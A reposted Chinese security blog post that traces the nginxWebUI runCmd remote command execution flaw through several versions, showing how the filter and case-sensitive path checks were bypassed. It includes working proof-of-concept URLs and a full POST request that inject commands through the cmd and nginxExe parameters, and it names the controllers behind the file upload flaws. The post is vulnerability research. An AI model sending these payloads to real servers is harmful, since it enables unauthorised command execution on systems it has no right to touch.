【nginxWebUI两部曲之一】nginxWebUI runCmd远程命令执行漏洞历史版本代码分析

admin 2023年7月24日14:02:26评论53 views字数 3217阅读10分43秒阅读模式

nginxWebUI runCmd远程命令执行漏洞  

目录:  

0x01  漏洞描述:

0x02  漏洞复现:

0x03  漏洞分析(3.4.6版本):

0x04  3.4.7版本分析:

0x05  3.5.2版本分析:

0x06  3.6.3版本分析(截止目前最新版本):

抛砖引玉:

0x01  漏洞描述:  

nginxWebUI是一款图形化管理nginx配置的工具,能通过网页快速配置nginx的各种功能,包括HTTP和TCP协议转发、反向代理、负载均衡、静态HTML服务器以及SSL证书的自动申请、续签和配置,配置完成后可以一键生成nginx.conf文件,并控制nginx使用此文件进行启动和重载。nginxWebUI后台提供执行nginx相关命令的接口,由于未对用户的输入进行过滤,导致可在后台执行任意命令。并且该系统权限校验存在问题,导致存在权限绕过,在前台可直接调用后台接口,最终可以达到无条件远程命令执行的效果。

影响范围:

nginxWebUI < 3.5.2

0x02  漏洞复现:  

Poc:

url地址 + /AdminPage/conf/runCmd?cmd=命令%26%26echo%20nginx

0x03  漏洞分析(3.4.6版本):  

漏洞定位:

根据gitee的更新历史https://gitee.com/cym1102/nginxWebUI,寻找开发者关于此漏洞的更新情况。

以3.4.6版本为例,反编译其jar包:

根据poc搜索/adminPage/conf,定位到路由:

comcymcontrolleradminPageConfController.class 44行

         【nginxWebUI两部曲之一】nginxWebUI runCmd远程命令执行漏洞历史版本代码分析

然后根据poc的参数,找到runcmd方法

comcymcontrolleradminPageConfController.class  274行

【nginxWebUI两部曲之一】nginxWebUI runCmd远程命令执行漏洞历史版本代码分析

定义了一个runCmd方法来处理用户输入的命令并执行。根据输入的type参数,调用settingService的set方法进行设置。然后使用RuntimeUtil类来执行命令,如果是Windows系统,则使用"cmd /c start"来执行命令,如果是其他系统,则使用"/bin/sh -c"来执行命令。最后,根据执行结果返回相应的JsonResult。

这里可以对cmd参数进行拼接,操控拼接的命令进行命令执行。

0x04  3.4.7版本分析:  

同理定位 runcmd方法:

comcymcontrolleradminPageConfController.class  274行

【nginxWebUI两部曲之一】nginxWebUI runCmd远程命令执行漏洞历史版本代码分析

增加了一个replaceAll方法:

【nginxWebUI两部曲之一】nginxWebUI runCmd远程命令执行漏洞历史版本代码分析

效果是对;   \|    //{    //}

对这些符号做一个转义替换 、且cmd参数中要存在“nginx”字段

构造payload:

http://localhost:8080/AdminPage/conf/runCmd?cmd=calc%26%26nginx

即 calc&&nginx

0x05  3.5.2版本分析:  

3.4.8升级框架为solon2

【nginxWebUI两部曲之一】nginxWebUI runCmd远程命令执行漏洞历史版本代码分析

3.5.2开发者对漏洞进行了更新

【nginxWebUI两部曲之一】nginxWebUI runCmd远程命令执行漏洞历史版本代码分析

根据gitee的版本对比,定位到:

src/main/java/com/cym/config/AppFilter.java

【nginxWebUI两部曲之一】nginxWebUI runCmd远程命令执行漏洞历史版本代码分析

加了一个过滤器,用于对请求进行过滤和拦截。首先,它检查请求的路径是否包含特定的文件夹(如/lib/、/js/、/doc/等),如果不包含,则调用frontInterceptor方法进行处理。接下来,它再次检查请求的路径是否包含/adminPage/,如果包含且不包含特定的文件夹,则调用adminInterceptor方法进行处理。最后,如果adminInterceptor返回false,则将请求设置为已处理。

         

【nginxWebUI两部曲之一】nginxWebUI runCmd远程命令执行漏洞历史版本代码分析

但是在path().toLowerCase()将路径转换为小写第二个if下没有将路径转化成小写。

可以在此进行大小写绕过。

0x06  3.6.3版本分析(截止目前最新版本):  

comcymcontrolleradminPageConfController.class 316行

【nginxWebUI两部曲之一】nginxWebUI runCmd远程命令执行漏洞历史版本代码分析

【nginxWebUI两部曲之一】nginxWebUI runCmd远程命令执行漏洞历史版本代码分析

定义了一个私有的isAvailableCmd(String cmd)方法,通过switch语句,根据cmd的哈希值进行匹配,判断cmd是否和预定义的命令匹配。匹配成功则返回true,即命令可用。

相当于彻底写死,只执行预定义的、与nginx相关的命令,而不是其他而已命令。

抛砖引玉: 

写完这篇文章后看到了白给师傅的poc补充他补充了关于此漏洞的另外几个命令执行点,和文件上传点,非常牛逼,值得思考和学习。

大佬文章:

https://mp.weixin.qq.com/s/oKsR7bm3tleJIS675Qt0RA

补充:

命令执行点1

com.cym.controller.adminPage.ConfController#reload()方法

Payload

http://localhost:8080/AdminPage/conf/reload?nginxExe=calc%20%7C

命令执行点2

com.cym.controller.adminPage.ConfController#check()方法

Payload

POST /AdminPage/conf/check HTTP/1.1          Host: 127.0.0.1:8080          Content-Length: 151          Accept: */*          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36          Content-Type: application/x-www-form-urlencoded;charset=UTF-8          Origin: chrome-extension://ieoejemkppmjcdfbnfphhpbfmallhfnc          Accept-Encoding: gzip, deflate          Accept-Language: zh-CN,zh;q=0.9          Cookie: SOLONID=1788f71299dc4608a355ff347bf429fa          Connection: close          nginxExe=calc%20%7C&json=%7B%22nginxContent%22%3A%22TES%22%2C%22subContent%22%3A%5B%22A%22%5D%2C%22subName%22%3A%5B%22A%22%5D%7D&nginxPath=C%3A%5CUsers

         

命令执行点3

com.cym.controller.adminPage.ConfController#checkBase()方法,此方法从设置中获nginxExe nginxDir两个属性后拼接到命令在造成命令执行漏洞

payload

         

//第一步设置属性

http://localhost:8080/AdminPage/conf/saveCmd?nginxExe=calc%20%7c&nginxPath=a&nginxDir=a

//第二步执行命令

http://localhost:8080/AdminPage/conf/checkBase

    

任意文件上传1

com/cym/controller/adminPage/MainController.java

         

任意文件上传2

com/cym/controller/adminPage/ServerController.java








参考:


长亭科技 https://mp.weixin.qq.com/s/RjT-hfd-Wathve-XtiiDbQ



老有人问我要头图:

【nginxWebUI两部曲之一】nginxWebUI runCmd远程命令执行漏洞历史版本代码分析


         

原文始发于微信公众号(b1gpig信息安全):【nginxWebUI两部曲之一】nginxWebUI runCmd远程命令执行漏洞历史版本代码分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年7月24日14:02:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【nginxWebUI两部曲之一】nginxWebUI runCmd远程命令执行漏洞历史版本代码分析https://cn-sec.com/archives/1899359.html

发表评论

匿名网友 填写信息